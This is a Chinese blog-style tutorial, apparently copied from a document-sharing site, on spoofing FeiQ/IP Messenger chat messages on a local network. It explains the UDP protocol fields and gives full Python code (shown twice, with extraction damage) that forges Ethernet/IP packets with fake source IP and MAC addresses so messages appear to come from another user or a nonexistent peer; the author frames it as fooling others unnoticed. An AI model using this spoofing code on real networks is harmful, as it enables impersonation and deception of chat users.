主题局域网内实现飞鸽欺骗Word下载.docx
《主题局域网内实现飞鸽欺骗Word下载.docx》由会员分享,可在线阅读,更多相关《主题局域网内实现飞鸽欺骗Word下载.docx(16页珍藏版)》请在冰豆网上搜索。
~~是飞鸽的协议字符串,
1表示版本号,100标识包号,flyingzl表示用户名,第二个flyingzl表示主机名,32表示发送消息,后面的表示要发送的消息内容。
这是飞鸽的协议,后面我们会看到飞鸽和飞秋又有所不同。
我们可以通过socket连机其他人的飞秋并给他们发送消息,但是通过socket发送出去的数据包会默认带上我们自己的ip地址和mac地址,怎么样才能修改这些数据包呢?
有办法,windows上不是有wincap么,linux上不是有libnet么,它们都有python扩展,叫做sendpkt,直接调用就好了。
关于怎么使用,可以看之前我的帖子
通过调用sendpkt,我们可以自己构造以太网数据包,自己定义源ip地址和源mac地址,这样就神不知鬼不觉地欺骗他人。
现在的问题是:
怎么构建以太网数据包。
由于飞秋发送消息是采用UDP协议,所以我们只需要构建一个UDP数据包,然后加上我们的内容就可以了。
构建以太网数据包可以采用dpkt,非常方便。
现在,我们用wireshark来分析飞秋的协议。
打开个飞鸽,点击刷新,就能看到wireshark捕获的数据包:
飞秋上线时,首先会发送广播,告诉网内的其他飞秋,有新人上线,你们马上动起来,把他加入自己的好友,并问候他一下,这样,对方飞鸽里面就看到你的飞秋了。
然后对方也会把自己的信息发给你,你的飞秋中也就有了他。
我们把截获的代码拷出来,就是1_lbt4_10#32899#002481627512#0#0#0:
1289671407:
Administrator:
MICROSO-697TGLD:
6291457:
别看这个字符串很复杂,其实它就是飞鸽的扩展,也是分为几段。
1_lbt4_10#32899#002481627512#0#0#0版本号,不过飞秋有很多自己的定制化,比如是否显示太阳等,32899就表示一个太阳和一个月亮,002481627512表示发送者的mac地址,后面的三个0不知道啥意思,有兴趣的童鞋好好分析下,和大家一起交流交流
1289671407也就是包序号了。
Administrator是用户名
MICROSO-697TGLD是主机名
6291457是命令字表示上线。
还有一些其他的,比如288表示发送消息,6291457表示下线,还有晃屏啥的,大家有兴趣可以自己去分析。
由于我只想发送消息,所以只需要修改下命令字为288即可。
下面就是一个发送消息的命令字:
1_lbt4_10#32899#002481627512#0#0#0:
288:
一日不见,如三月兮
一日不见,如三月兮'
5.86
86
细心的同学已经发现,这次截图和上次截图显示不一样,上次截图显示的是飞鸽图标,这次却是飞秋图标。
呵呵。
因为我们发送的是飞秋命令字。
有了飞秋命令字,我们就可以构建数据包,发送修改过的飞秋数据包了。
啥都不说了,上代码:
1.#coding=utf-8
2.import
dpkt
3.import
sendpkt
4.from
socket
inet_aton
5.from
time
strftime
6.import
7.import
types
8.import
uuid
9.
10.#本地网关MAC地址,可以通过如下方式获取:
11.#C:
\Users\Administrator>
arp
-a
12.#接口:
192.168.0.100
---
0xb
13.#
Internet
地址
物理地址
类型
14.#
192.168.0.1
00-03-47-ca-e4-5c
动态
15.MASK_MAC='
1c-af-f7-c0-65-a8'
16.
17.
18.def
get_local_mac():
19.
'
20.
获得本机Mac地址
21.
22.
mac=uuid.uuid1().hex[-12:
]
23.
return
-'
.join([mac[(i-1)*2:
2*i]
for
i
in
range(1,7)])
24.
25.def
send_msg(kwargs):
26.
27.
发送消息,kwargs参数为一个dict对象
28.
29.
if
type(kwargs)
is
not
types.DictType:
30.
31.
#本机ip地址
32.
local_ip=kwargs.get('
src'
socket.gethostbyname(socket.gethostname()))
33.
#转码后的源ip地址
34.
src_ip=inet_aton(local_ip)
35.
#转码后的目的ip地址
36.
dst_ip=inet_aton(kwargs.get('
dst'
))
37.
#本机mac地址
38.
local_mac=kwargs.get('
src_mac'
get_local_mac())
39.
#转码后的源mac地址
40.
src_mac=pack_mac(local_mac)
41.
#判断remote_ip和local_ip是否在同一个网段
42.
#转码后的目的mac地址
43.
dst_mac=pack_mac(kwargs.get('
dst_mac'
))\
44.
trans(local_ip)==trans(kwargs.get('
))
else
pack_mac(MASK_MAC)
45.
host=kwargs.get('
host'
socket.gethostname())
46.
user=kwargs.get('
user'
'
User'
47.
msg=kwargs.get('
msg'
Hello'
48.
49.
#找到第一个网络端口,根据自己的情况修改
50.
#安装了VirtualBox、VMWare或者有无线网卡的同学得自己修改下
51.
device=sendpkt.findalldevs()[0]
52.
#飞鸽监听本地的UDP
2425端口
53.
udp=dpkt.udp.UDP(dport=2425,sport=2425)
54.
#向飞鸽发送消息命令字
55.
#6291458表示下线
56.
#6291457表示上线
57.
#288表示发送信息
58.
#如果是飞秋,65664这个状态会在对方上显示为两个太阳
59.
msg="
1_lbt4_10#65664#%s#0#0#0:
%s:
%s"
\
60.
%(local_mac.replace('
),int(strftime('
%m%d%H%M%S'
))+100000000,user,host,msg)
61.
msg=msg.encode("
gbk"
62.
udp.data+=msg
63.
udp.ulen=len(udp)
64.
65.
ip=dpkt.ip.IP(src=src_ip,dst=dst_ip,data=udp,p=dpkt.ip.IP_PROTO_UDP)
66.
#重新计算ip的长度,不然消息发送不出去
67.
ip.len=len(ip)
68.
69.
ether=dpkt.ethernet.Ethernet(
70.
dst=dst_mac,
71.
src=src_mac,
72.
type=0x0800,
73.
data=ip
74.
75.
sendpkt.sendpacket(str(ether),device)
76.
77.def
trans(ip,mask='
255.255.255.0'
):
78.
79.
判断两个ip地址是否在同一个网段
80.
81.
str=[]
82.
ip=ip.split("
."
83.
mask=mask.split("
84.
index,item
enumerate(ip):
85.
str.append(int(item)&
int(mask[index]))
86.
str
87.
88.
89.def
pack_mac(mac,pattern='
90.
91.
网卡地址转为以太网Mac地址
92.
例如将"
08-00-27-ba-f7-e5"
转为"
\x08\x00'
\xba\xf7\xe5"
93.
94.
mac=mac.split(pattern.lower())
95.
"
.join([chr(int('
0x'
+x,16))
x
mac])
96.
97.if
__name__=="
__main__"
:
98.
s={
99.
192.168.0.106'
100.
192.168.0.100'
101.
00-15-AF-AE-E6-C0'
102.
#这个地址最好别写错,可以从飞鸽上看到好友的Mac地址
103.
00-24-81-62-75-12'
104.
哈哈'
105.
呵呵'
106.
加班呀?
107.
}
108.
send_msg(s)
#coding=utf-8
importdpkt
importsendpkt
fromsocketimportinet_aton
fromtimeimportstrftime
importsocket
importtypes
importuuid
#本地网关MAC地址,可以通过如下方式获取:
#C:
arp-a
#接口:
192.168.0.100---0xb
#Internet地址物理地址类型
#192.168.0.100-03-47-ca-e4-5c动态
MASK_MAC='
defget_local_mac():
'
获得本机Mac地址
mac=uuid.uuid1().hex[-12:
]
return'
2*i]foriinrange(1,7)])
defsend_msg(kwargs):
发送消息,kwargs参数为一个dict对象
iftype(kwargs)isnottypes.DictType:
return
#本机ip地址
local_ip=kwargs.get('
socket.gethostbyname(socket.gethostname()))
#转码后的源ip地址
src_ip=inet_aton(local_ip)
#转码后的目的ip地址
dst_ip=inet_aton(kwargs.get('
))
#本机mac地址
local_mac=kwargs.get('
get_local_mac())
#转码后的源mac地址
src_mac=pack_mac(local_mac)
#判断remote_ip和local_ip是否在同一个网段
#转码后的目的mac地址
dst_mac=pack_mac(kwargs.get('
))\
iftrans(local_ip)==trans(kwargs.get('
))elsepack_mac(MASK_MAC)
host=kwargs.get('
socket.gethostname())
user=kwargs.get('
msg=kwargs.get('
#找到第一个网络端口,根据自己的情况修改
#安装了VirtualBox、VMWare或者有无线网卡的同学得自己修改下
device=sendpkt.findalldevs()[0]
#飞鸽监听本地的UDP2425端口
udp=dpkt.udp.UDP(dport=2425,sport=2425)
#向飞鸽发送消息命令字
#6291458表示下线
#6291457表示上线
#288表示发送信息
#如果是飞秋,65664这个状态会在对方上显示为两个太阳
msg="
\
%(local_mac.replace('
))+100000000,user,host,msg)
msg=msg.encode("
udp.data+=msg
udp.ulen=len(udp)
ip=dpkt.ip.IP(src=src_ip,dst=dst_ip,data=udp,p=dpkt.ip.IP_PROTO_UDP)
#重新计算ip的长度,不然消息发送不出去
ip.len=len(ip)
ether=dpkt.ethernet.Ethernet(
dst=dst_mac,
src=src_mac,
type=0x0800,
data=ip
)
sendpkt.sendpacket(str(ether),device)
deftrans(ip,mask='
判断两个ip地址是否在同一个网段
str=[]
ip=ip.split("
mask=mask.split("
forindex,iteminenumerate(ip):
str.append(int(item)&
int(mask[index]))
returnstr
defpack_mac(mac,pattern='
网卡地址转为以太网Mac地址
例如将"
mac=mac.split(pattern.lower())
return"
+x,16))forxinmac])
if__name__=="
s={
#这个地址最好别写错,可以从飞鸽上看到好友的Mac地址
}
send_msg(s)
代码我就不解释了,大家可以看里面的注释,写得比较明白。
我们来测试下,看看效果。
从之前的图片上可以看到,我飞秋上就两个好友,我们现在要凭空造出来一个,他的ip是192.168.0.106,mac是00-15-AF-AE-E6-C0
运行后,可以看到这样的结果:
貌似是可以欺骗成功了。
不过如果要欺骗其他网段的飞秋好友,一定要修过代码中的MASK_MAC字段,大家用wireshark分析飞秋的UPD数据包就知道了。
如果大家有兴趣,可以自己做个图形化的界面,比如web页面,可以图形化的进行欺骗。
那就有意思了,比如:
呵呵,就此告一段落。
如果大家都挺关注,我就把code都发上来吧。
最后,希望本人能抛砖引玉,让大家发挥出刚强的创造力。
祝各位周末愉快: